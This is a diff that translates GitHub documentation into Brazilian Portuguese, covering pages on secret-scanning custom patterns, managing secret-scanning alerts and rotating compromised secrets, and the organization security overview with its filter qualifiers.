+Os padrões personalizados para {% data variables.product.prodname_secret_scanning %} são especificados como expressões regulares. {% data variables.product.prodname_secret_scanning_caps %} usa a [biblioteca Hyperscan](https://github.com/intel/hyperscan) e é compatível apenas os construtores regex do Hyperscan, que são um subconjunto da sintaxe PCRE. Os modificadores de opções de huperscan não são compatíveis.  Para obter mais informações sobre construções de padrões do Hyperscan, consulte "[suporte do padrão](http://intel.github.io/hyperscan/dev-reference/compilation.html#pattern-support)na documentação do Hyperscan.
 
-## Defining a custom pattern for a repository
+## Definindo um padrão personalizado para um repositório
 
-Before defining a custom pattern, you must ensure that {% data variables.product.prodname_secret_scanning %} is enabled on your repository. For more information, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your repositories](/code-security/secret-security/configuring-secret-scanning-for-your-repositories)."
+Antes de definir um padrão personalizado, você deve garantir que {% data variables.product.prodname_secret_scanning %} está habilitado no seu repositório. Para obter mais informações, consulte "[Configurar {% data variables.product.prodname_secret_scanning %} para os seus repositórios](/code-security/secret-security/configuring-secret-scanning-for-your-repositories)".
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
@@ -59,15 +59,15 @@ Before defining a custom pattern, you must ensure that {% data variables.product
 {% data reusables.advanced-security.secret-scanning-new-custom-pattern %}
 {% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %}
 
-After your pattern is created, {% data reusables.secret-scanning.secret-scanning-process %} For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
+Após a criação do seu padrão, {% data reusables.secret-scanning.secret-scanning-process %} Para mais informações sobre visualização de alertas {% data variables.product.prodname_secret_scanning %}, consulte "[Gerenciando alertas de {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)".
 
-## Defining a custom pattern for an organization
+## Definindo um padrão personalizado para uma organização
 
-Before defining a custom pattern, you must ensure that you enable {% data variables.product.prodname_secret_scanning %} for the {% ifversion fpt or ghec %}private{% endif %} repositories that you want to scan in your organization. To enable {% data variables.product.prodname_secret_scanning %} on all {% ifversion fpt or ghec %}private{% endif %} repositories in your organization, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+Antes de definir um padrão personalizado, você deverá habilitar {% data variables.product.prodname_secret_scanning %} para os repositórios {% ifversion fpt or ghec %}privaivados{% endif %} que você deseja fazer a varredura na organização. Para habilitar {% data variables.product.prodname_secret_scanning %} em todos os repositórios {% ifversion fpt or ghec %}privados {% endif %} na sua organização, consulte "[Gerenciar as configurações de segurança e análise da sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)".
 
 {% note %}
 
-**Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire organization. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts.
+**Observação:** Como não há nenhuma funcionalidade de teste, recomendamos que você teste seus padrões personalizados em um repositório antes de defini-los para toda a organização. Dessa forma, você pode evitar criar alertas falsos-positivos de {% data variables.product.prodname_secret_scanning %}.
 
 {% endnote %}
 
@@ -78,19 +78,19 @@ Before defining a custom pattern, you must ensure that you enable {% data variab
 {% data reusables.advanced-security.secret-scanning-new-custom-pattern %}
 {% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %}
 
-After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in {% ifversion fpt or ghec %}private{% endif %} repositories in your organization, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found, and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
+Depois que o padrão for criado, {% data variables.product.prodname_secret_scanning %} irá verificar todos os segredos nos repositórios {% ifversion fpt or ghec %}privados {% endif %} na sua organização, incluindo todo seu histórico do Git em todos os branches. Os proprietários da organização e administradores do repositório receberão um alerta sobre todos os segredos encontrados e poderão revisar o alerta no repositório onde o segredo for encontrado. Para obter mais informações sobre a visualização de alertas de {% data variables.product.prodname_secret_scanning %}, consulte "[Gerenciar alertas de {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)".
 
-## Defining a custom pattern for an enterprise account
+## Definir um padrão personalizado para uma conta corporativa
 
 {% ifversion fpt or ghec or ghes %}
 
-Before defining a custom pattern, you must ensure that you enable secret scanning for your enterprise account. For more information, see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise]({% ifversion fpt or ghec %}/enterprise-server@latest/{% endif %}/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)."
+Antes de definir um padrão personalizado, você deverá garantir que você habilite a digitalização de segredo para a sua conta corporativa. Para obter mais informações, consulte "[Habilitar {% data variables.product.prodname_GH_advanced_security %} para a sua empresa]({% ifversion fpt or ghec %}/enterprise-server@latest/{% endif %}/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)."
 
 {% endif %}
 
 {% note %}
 
-**Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire enterprise. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts.
+**Observação:** Como não há nenhuma funcionalidade de teste, recomendamos que você teste seus padrões personalizados em um repositório antes de defini-los para toda sua empresa. Dessa forma, você pode evitar criar alertas falsos-positivos de {% data variables.product.prodname_secret_scanning %}.
 
 {% endnote %}
 
@@ -98,35 +98,35 @@ Before defining a custom pattern, you must ensure that you enable secret scannin
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.advanced-security-policies %}
 {% data reusables.enterprise-accounts.advanced-security-security-features %}
-1. Under "Secret scanning custom patterns", click {% ifversion ghes = 3.2 %}**New custom pattern**{% else %}**New pattern**{% endif %}.
+1. Em "Padrões de personalização de digitalização de segredos", clique em {% ifversion ghes = 3.2 %}**Novo padrão personalizado**{% else %}**Novo padrão**{% endif %}.
 {% data reusables.advanced-security.secret-scanning-add-custom-pattern-details %}
 
-After your pattern is created, {% data variables.product.prodname_secret_scanning %} scans for any secrets in {% ifversion fpt or ghec %}private{% endif %} repositories within your enterprise's organizations with {% data variables.product.prodname_GH_advanced_security %} enabled, including their entire Git history on all branches. Organization owners and repository administrators will be alerted to any secrets found, and can review the alert in the repository where the secret is found. For more information on viewing {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
+Depois que seu padrão for criado, {% data variables.product.prodname_secret_scanning %} irá verificar se há segredos em repositórios {% ifversion fpt or ghec %}privados{% endif %} dentro das organizações da sua empresa com {% data variables.product.prodname_GH_advanced_security %} habilitado, incluindo toda a sua história de Git em todos os branches. Os proprietários da organização e administradores do repositório receberão um alerta sobre todos os segredos encontrados e poderão revisar o alerta no repositório onde o segredo for encontrado. Para obter mais informações sobre a visualização de alertas de {% data variables.product.prodname_secret_scanning %}, consulte "[Gerenciar alertas de {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)".
 
 {% ifversion fpt or ghes > 3.2 or ghec or ghae %}
-## Editing a custom pattern
+## Editando um padrão personalizado
 
-When you save a change to a custom pattern, this closes all the {% data variables.product.prodname_secret_scanning %} alerts that were created using the previous version of the pattern.
-1. Navigate to where the custom pattern was created. A custom pattern can be created in a repository, organization, or enterprise account.
-   * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. For more information, see "[Defining a custom pattern for a repository](#defining-a-custom-pattern-for-a-repository)" or "[Defining a custom pattern for an organization](#defining-a-custom-pattern-for-an-organization)" above.
-   * For an enterprise, under "Policies" display the "Advanced Security" area, and then click **Security features**. For more information, see "[Defining a custom pattern for an enterprise account](#defining-a-custom-pattern-for-an-enterprise-account)" above.
-2. Under "{% data variables.product.prodname_secret_scanning_caps %}", to the right of the custom pattern you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}.
-3. When you have reviewed and tested your changes, click **Save changes**.
+Ao salvar uma alteração em um padrão personalizado, isso irá fechar todos os alertas de {% data variables.product.prodname_secret_scanning %} que foram criados usando a versão anterior do padrão.
+1. Acesse o local onde o padrão personalizado foi criado. Um padrão personalizado pode ser criado na conta de um repositório, organização ou empresa.
+   * Para um repositório ou organização, exiba as configurações "Segurança & análise" do repositório ou organização onde o padrão personalizado foi criado. Para mais informações consulte "[Definir um padrão personalizado para um repositório](#defining-a-custom-pattern-for-a-repository)" ou "[Definir um padrão personalizado para uma organização](#defining-a-custom-pattern-for-an-organization)" acima.
+   * Para uma empresa, em "Políticas" exiba a área "Segurança Avançada" e, em seguida, clique em **Funcionalidades de segurança**. Para obter mais informações, consulte "[Definindo um padrão personalizado para uma conta corporativa](#defining-a-custom-pattern-for-an-enterprise-account)" acima.
+2. Em "{% data variables.product.prodname_secret_scanning_caps %}", à direita do padrão personalizado que você deseja editar, clique em {% octicon "pencil" aria-label="The edit icon" %}.
+3. Ao revisar e testar suas alterações, clique em **Salvar alterações**.
 {% endif %}
 
-## Removing a custom pattern
+## Removendo um padrão personalizado
 
-1. Navigate to where the custom pattern was created. A custom pattern can be created in a repository, organization, or enterprise account.
+1. Acesse o local onde o padrão personalizado foi criado. Um padrão personalizado pode ser criado na conta de um repositório, organização ou empresa.
 
-   * For a repository or organization, display the "Security & analysis" settings for the repository or organization where the custom pattern was created. For more information, see "[Defining a custom pattern for a repository](#defining-a-custom-pattern-for-a-repository)" or "[Defining a custom pattern for an organization](#defining-a-custom-pattern-for-an-organization)" above.
-   * For an enterprise, under "Policies" display the "Advanced Security" area, and then click **Security features**.  For more information, see "[Defining a custom pattern for an enterprise account](#defining-a-custom-pattern-for-an-enterprise-account)" above.
+   * Para um repositório ou organização, exiba as configurações "Segurança & análise" do repositório ou organização onde o padrão personalizado foi criado. Para mais informações consulte "[Definir um padrão personalizado para um repositório](#defining-a-custom-pattern-for-a-repository)" ou "[Definir um padrão personalizado para uma organização](#defining-a-custom-pattern-for-an-organization)" acima.
+   * Para uma empresa, em "Políticas" exiba a área "Segurança Avançada" e, em seguida, clique em **Funcionalidades de segurança**.  Para obter mais informações, consulte "[Definindo um padrão personalizado para uma conta corporativa](#defining-a-custom-pattern-for-an-enterprise-account)" acima.
 {%- ifversion fpt or ghes > 3.2 or ghae %}
-1. To the right of the custom pattern you want to remove, click {% octicon "trash" aria-label="The trash icon" %}.
-1. Review the confirmation, and select a method for dealing with any open alerts relating to the custom pattern.
-1. Click **Yes, delete this pattern**.
+1. À direita do padrão personalizado que você deseja remover, clique em {% octicon "trash" aria-label="The trash icon" %}.
+1. Revise a confirmação e selecione um método para lidar com todos os alertas abertos relacionados ao padrão personalizado.
+1. Clique em **Sim, excluir este padrão**.
 
-   ![Confirming deletion of a custom {% data variables.product.prodname_secret_scanning %} pattern ](/assets/images/help/repository/secret-scanning-confirm-deletion-custom-pattern.png)
+   ![Confirmando a exclusão de um padrão {% data variables.product.prodname_secret_scanning %} personalizado ](/assets/images/help/repository/secret-scanning-confirm-deletion-custom-pattern.png)
 {%- elsif ghes = 3.2 %}
-1. To the right of the custom pattern you want to remove, click **Remove**.
-1. Review the confirmation, and click **Remove custom pattern**.
+1. À direita do padrão personalizado que você deseja remover, clique em **Remover**.
+1. Revise a confirmação e clique em **Remover padrão personalizado**.
 {%- endif %}
diff --git a/translations/pt-BR/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md b/translations/pt-BR/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
index b148ac4d78..d441b2fcc1 100644
--- a/translations/pt-BR/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
+++ b/translations/pt-BR/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
@@ -1,6 +1,6 @@
 ---
-title: Managing alerts from secret scanning
-intro: You can view and close alerts for secrets checked in to your repository.
+title: Gerenciando alertas do escaneamento secreto
+intro: Você pode visualizar e fechar alertas de segredos verificados para seu repositório.
 product: '{% data reusables.gated-features.secret-scanning %}'
 redirect_from:
   - /github/administering-a-repository/managing-alerts-from-secret-scanning
@@ -16,51 +16,51 @@ topics:
   - Advanced Security
   - Alerts
   - Repositories
-shortTitle: Manage secret alerts
+shortTitle: Gerenciar alertas de segredos
 ---
 
 {% data reusables.secret-scanning.beta %}
 
-## Managing {% data variables.product.prodname_secret_scanning %} alerts
+## Gerenciando alertas de {% data variables.product.prodname_secret_scanning %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
-1. In the left sidebar, click **Secret scanning alerts**.
+1. Na barra lateral esquerda, clique em **Alertas de varredura de segredo**.
    {% ifversion fpt or ghes or ghec %}
-   !["Secret scanning alerts" tab](/assets/images/help/repository/sidebar-secrets.png)
+   ![Aba "Alertas de varredura de segredo "](/assets/images/help/repository/sidebar-secrets.png)
    {% endif %}
    {% ifversion ghae %}
-   !["Secret scanning alerts" tab](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png)
+   ![Aba "Alertas de varredura de segredo "](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png)
    {% endif %}
-1. Under "Secret scanning" click the alert you want to view.
+1. Em "Escaneamento de segredos", clique no alerta que desejar visualizar.
    {% ifversion fpt or ghec %}
-   ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert.png)
+   ![Lista de alertas do escaneamento secreto](/assets/images/help/repository/secret-scanning-click-alert.png)
    {% endif %}
    {% ifversion ghes %}
-   ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert-ghe.png)
+   ![Lista de alertas do escaneamento secreto](/assets/images/help/repository/secret-scanning-click-alert-ghe.png)
    {% endif %}
    {% ifversion ghae %}
-   ![List of alerts from secret scanning](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png)
+   ![Lista de alertas do escaneamento secreto](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png)
    {% endif %}
-1. Optionally, select the {% ifversion fpt or ghec %}"Close as"{% elsif ghes or ghae %}"Mark as"{% endif %} drop-down menu and click a reason for resolving an alert.
+1. Como alternativa, selecione o menu suspenso {% ifversion fpt or ghec %}"Fechar como"{% elsif ghes or ghae %}"Marcar como"{% endif %} e clique em um motivo para resolver um alerta.
    {% ifversion fpt or ghec %}
-   ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert.png)
+   ![Menu suspenso para resolver um alerta do escaneamento de segredo](/assets/images/help/repository/secret-scanning-resolve-alert.png)
    {% endif %}
    {% ifversion ghes or ghae %}
-   ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert-ghe.png)
+   ![Menu suspenso para resolver um alerta do escaneamento de segredo](/assets/images/help/repository/secret-scanning-resolve-alert-ghe.png)
    {% endif %}
 
-## Securing compromised secrets
+## Protegendo segredos comprometidos
 
-Once a secret has been committed to a repository, you should consider the secret compromised. {% data variables.product.prodname_dotcom %} recommends the following actions for compromised secrets:
+Uma vez que um segredo tenha sido committed a um repositório, você deve considerar o segredo comprometido. O {% data variables.product.prodname_dotcom %} recomenda as seguintes ações para segredos comprometidos:
 
-- For a compromised {% data variables.product.prodname_dotcom %} personal access token, delete the compromised token, create a new token, and update any services that use the old token. For more information, see "[Creating a personal access token for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)."
-- For all other secrets, first verify that the secret committed to {% data variables.product.product_name %} is valid. If so, create a new secret, update any services that use the old secret, and then delete the old secret.
+- Para um token de acesso pessoal do {% data variables.product.prodname_dotcom %}, exclua o token comprometido, crie outro token e atualize os serviços que usam o token antigo. Para obter mais informações, consulte "[Criar um token de acesso pessoal para a linha de comando](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)".
+- Para todos os outros segredos, primeiro, verifique se o segredo commited para {% data variables.product.product_name %} é válido. Se sim, crie um novo segredo, atualize quaisquer serviços que utilizam o segredo antigo, e depois exclua o segredo antigo.
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4910 or ghec %}
-## Configuring notifications for {% data variables.product.prodname_secret_scanning %} alerts
+## Configurando notificações para alertas de {% data variables.product.prodname_secret_scanning %}
 
-When a new secret is detected, {% data variables.product.product_name %} notifies all users with access to security alerts for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, are the author of the commit that contains the secret and are not ignoring the repository.
+Quando um novo segredo é detectado, {% data variables.product.product_name %} notifica todos os usuários com acesso a alertas de segurança para o repositório, de acordo com suas preferências de notificação. Você receberá alertas se estiver inspecionando o repositório, se tiver habilitado as notificações para alertas de segurança ou para todas as atividades no repositório, se for o autor do commit que contém o segredo e não estiver ignorando o repositório.
 
-For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" and "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+Para obter mais informações, consulte "[Gerenciar configurações de segurança e análise do repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" e "[Configurar notificações](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)".
 {% endif %}
diff --git a/translations/pt-BR/content/code-security/security-overview/about-the-security-overview.md b/translations/pt-BR/content/code-security/security-overview/about-the-security-overview.md
index 16d8b25dda..7667259f1f 100644
--- a/translations/pt-BR/content/code-security/security-overview/about-the-security-overview.md
+++ b/translations/pt-BR/content/code-security/security-overview/about-the-security-overview.md
@@ -1,6 +1,6 @@
 ---
-title: About the security overview
-intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in one place: the Security Overview page.'
+title: Sobre a visão geral de segurança
+intro: 'Você pode visualizar, filtrar e classificar alertas de segurança para repositórios pertencentes à sua organização ou equipe em um só lugar: a página de Visão Geral de Segurança.'
 product: '{% data reusables.gated-features.security-center %}'
 redirect_from:
   - /code-security/security-overview/exploring-security-alerts
@@ -16,52 +16,51 @@ topics:
   - Alerts
   - Organizations
   - Teams
-shortTitle: About security overview
+shortTitle: Sobre a visão geral de segurança
 ---
 
 {% data reusables.security-center.beta %}
 
-## About the security overview
+## Sobre a visão geral de segurança
 
-You can use the security overview for a high-level view of the security status of your organization or to identify problematic repositories that require intervention. At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)."
+Você pode usar a visão geral de segurança para uma visão de alto nível do status de segurança da sua organização ou para identificar repositórios problemáticos que exigem intervenção. A nível da organização, a visão geral de segurança exibe informações de segurança agregadas e específicas para repositórios pertencentes à sua organização. No nível da equipe, a visão geral de segurança exibe informações de segurança específicas para repositórios para os quais a equipe tem privilégios de administrador. Para obter mais informações, consulte "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)."
 
-The security overview indicates whether {% ifversion fpt or ghes > 3.1 or ghec %}security{% endif %}{% ifversion ghae %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes > 3.1 or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %}
+A visão geral de segurança indica se {% ifversion fpt or ghes > 3.1 or ghec %}os recursos de segurança{% endif %}{% ifversion ghae %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} estão habilitados para os repositórios pertencentes à sua organização e consolida os alertas para cada recurso.{% ifversion fpt or ghes > 3.1 or ghec %} As funcionalidades de segurança incluem funcionalidaes de {% data variables.product.prodname_GH_advanced_security %} como, por exemplo, {% data variables.product.prodname_code_scanning %} e {% data variables.product.prodname_secret_scanning %}, bem como {% data variables.product.prodname_dependabot_alerts %}.{% endif %} Para obter mais informações sobre as funcionalidades de {% data variables.product.prodname_GH_advanced_security %} conuslte "[Sobre {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} Para obter mais informações sobre {% data variables.product.prodname_dependabot_alerts %}, consulte "[Sobre alertas para dependências de vulnerabilidade](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %}
 
-For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)."
+Para obter mais informações sobre como proteger seu código nos níveis do repositório e da organização, consulte "[Protegendo seu repositório](/code-security/getting-started/securing-your-repository)" e "[Protegendo sua organização](/code-security/getting-started/securing-your-organization)".
 
-In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. You can apply multiple filters to focus on areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data variables.product.prodname_code_scanning %} alerts.
+No resumo da segurança, é possível visualizar, ordenar e filtrar alertas para entender os riscos de segurança na sua organização e nos repositórios específicos. Você pode aplicar vários filtros para concentrar-se em áreas de interesse. Por exemplo, você pode identificar repositórios privados que têm um número elevado de {% data variables.product.prodname_dependabot_alerts %} ou repositórios que não têm alertas {% data variables.product.prodname_code_scanning %}.
 
-![The security overview for an organization](/assets/images/help/organizations/security-overview.png)
+![A visão geral de segurança de uma organização](/assets/images/help/organizations/security-overview.png)
 
-For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out.
+Para cada repositório na visão de segurança, você verá ícones para cada tipo de recurso de segurança e quantos alertas existem de cada tipo. Se um recurso de segurança não estiver habilitado para um repositório, o ícone para esse recurso será cinza.
 
-![Icons in the security overview](/assets/images/help/organizations/security-overview-icons.png)
+![Ícones na visão geral de segurança](/assets/images/help/organizations/security-overview-icons.png)
 
-| Icon | Meaning |
-| -------- | -------- |
-| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)." |
-| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} alerts. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." |
-| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." |
-| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. |
-| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. |
+| Ícone                                                         | Significado                                                                                                                                                                                                                           |
+| ------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| {% octicon "code-square" aria-label="Code scanning alerts" %} | Alertas de {% data variables.product.prodname_code_scanning_capc %}. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)         |
+| {% octicon "key" aria-label="Secret scanning alerts" %}       | Alertas de {% data variables.product.prodname_secret_scanning_caps %}. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning) |
+| {% octicon "hubot" aria-label="Dependabot alerts" %}          | {% data variables.product.prodname_dependabot_alerts %}. Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"       |
+| {% octicon "check" aria-label="Check" %}                      | O recurso de segurança está habilitado, mas não envia alertas neste repositório.                                                                                                                                                      |
+| {% octicon "x" aria-label="x" %}                              | O recurso de segurança não é compatível com este repositório.                                                                                                                                                                         |
 
-By default, archived repositories are excluded from the security overview for an organization. You can apply filters to view archived repositories in the security overview. For more information, see "[Filtering the list of alerts](#filtering-the-list-of-alerts)."
+Por padrão, os repositórios arquivados são excluídos da visão geral de segurança de uma organização. É possível aplicar filtros para visualizar repositórios arquivados na visão geral de segurança. Para obter mais informações, consulte "[Filtrar a lista de alertas](#filtering-the-list-of-alerts)".
 
-The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist.
+A visão geral de segurança exibe alertas ativos criados por funcionalidades de segurança. Se não houver alertas na visão geral de segurança de um repositório, as vulnerabilidades de segurança não detectadas ou erros de código ainda poderão existir.
 
-## Viewing the security overview for an organization
+## Visualizar a visão geral de segurança de uma organização
 
-Organization owners can view the security overview for an organization.
+Os proprietários da organização podem ver a visão geral de segurança para uma organização.
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.security-overview %}
-1. To view aggregate information about alert types, click **Show more**.
-  ![Show more button](/assets/images/help/organizations/security-overview-show-more-button.png)
+1. Para visualizar informações agregadas sobre tipos de alertas, clique em **Mostrar mais**. ![Botão mostrar mais](/assets/images/help/organizations/security-overview-show-more-button.png)
 {% data reusables.organizations.filter-security-overview %}
 
-## Viewing the security overview for a team
+## Visualizar a visão geral de segurança de uma equipe
 
-Members of a team can see the security overview for repositories that the team has admin privileges for.
+Os integrantes de uma equipe podem visualizar a visão geral de segurança dos repositórios para os quais a equipe tem privilégios de administrador.
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -69,70 +68,69 @@ Members of a team can see the security overview for repositories that the team h
 {% data reusables.organizations.team-security-overview %}
 {% data reusables.organizations.filter-security-overview %}
 
-## Filtering the list of alerts
+## Filtrar a lista de alertas
 
-### Filter by level of risk for repositories
+### Filtrar por nível de risco para repositórios
 
-The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk.
+O nível de risco para um repositório é determinado pelo número e gravidade dos alertas de funcionalidades de segurança. Se uma ou mais funcionalidades de segurança não estiverem habilitadas para um repositório, o repositório terá um nível de risco desconhecido. Se um repositório não tiver riscos detectados por funcionalidades de segurança, o repositório terá um nível claro de risco.
 
-| Qualifier | Description |
-| -------- | -------- |
-| `risk:high` | Display repositories that are at high risk. |
-| `risk:medium` | Display repositories that are at medium risk. |
-| `risk:low` | Display repositories that are at low risk. |
-| `risk:unknown` | Display repositories that are at an unknown level of risk. |
-| `risk:clear` | Display repositories that have no detected level of risk. |
+| Qualifier      | Descrição                                                         |
+| -------------- | ----------------------------------------------------------------- |
+| `risk:high`    | Exibe repositórios que estão em alto risco.                       |
+| `risk:medium`  | Exibe repositórios que estão em risco médio.                      |
+| `risk:low`     | Exibe repositórios que estão em risco baixo.                      |
+| `risk:unknown` | Exibir repositórios que estão com um nível de risco desconhecido. |
+| `risk:clear`   | Exibe repositórios que não tem um nível de risco identificado.    |
 
-### Filter by number of alerts
+### Filtrar por número de alertas
 
-| Qualifier | Description |
-| -------- | -------- |
-| <code>code-scanning-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_code_scanning %} alerts. This qualifier can use &gt and &lt comparison operators. |
-| <code>secret-scanning-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_secret_scanning %} alerts. This qualifier can use &gt and &lt comparison operators. |
-| <code>dependabot-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_dependabot_alerts %}. This qualifier can use &gt and &lt comparison operators. |
+| Qualifier                 | Descrição                                                                                                                                                             |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>code-scanning-alerts:<em>n</em></code> | Exibe repositórios que têm *n* alertas de {% data variables.product.prodname_code_scanning %}. Este qualificador pode usar os operadores &gt e &lt de comparação.   |
+| <code>secret-scanning-alerts:<em>n</em></code> | Exibe repositórios que têm *n* alertas de {% data variables.product.prodname_secret_scanning %}. Este qualificador pode usar os operadores &gt e &lt de comparação. |
+| <code>dependabot-alerts:<em>n</em></code> | Exibir repositórios que têm *n* {% data variables.product.prodname_dependabot_alerts %}. Este qualificador pode usar os operadores &gt e &lt de comparação.         |
 
-### Filter by whether security features are enabled
+### Filtrar se as funcionalidades de segurança estão habilitadas
 
-| Qualifier | Description |
-| -------- | -------- |
-| `enabled:code-scanning` | Display repositories that have {% data variables.product.prodname_code_scanning %} enabled. |
-| `not-enabled:code-scanning` | Display repositories that do not have {% data variables.product.prodname_code_scanning %} enabled. |
-| `enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
-| `not-enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
-| `enabled:dependabot-alerts` | Display repositories that have {% data variables.product.prodname_dependabot_alerts %} enabled. |
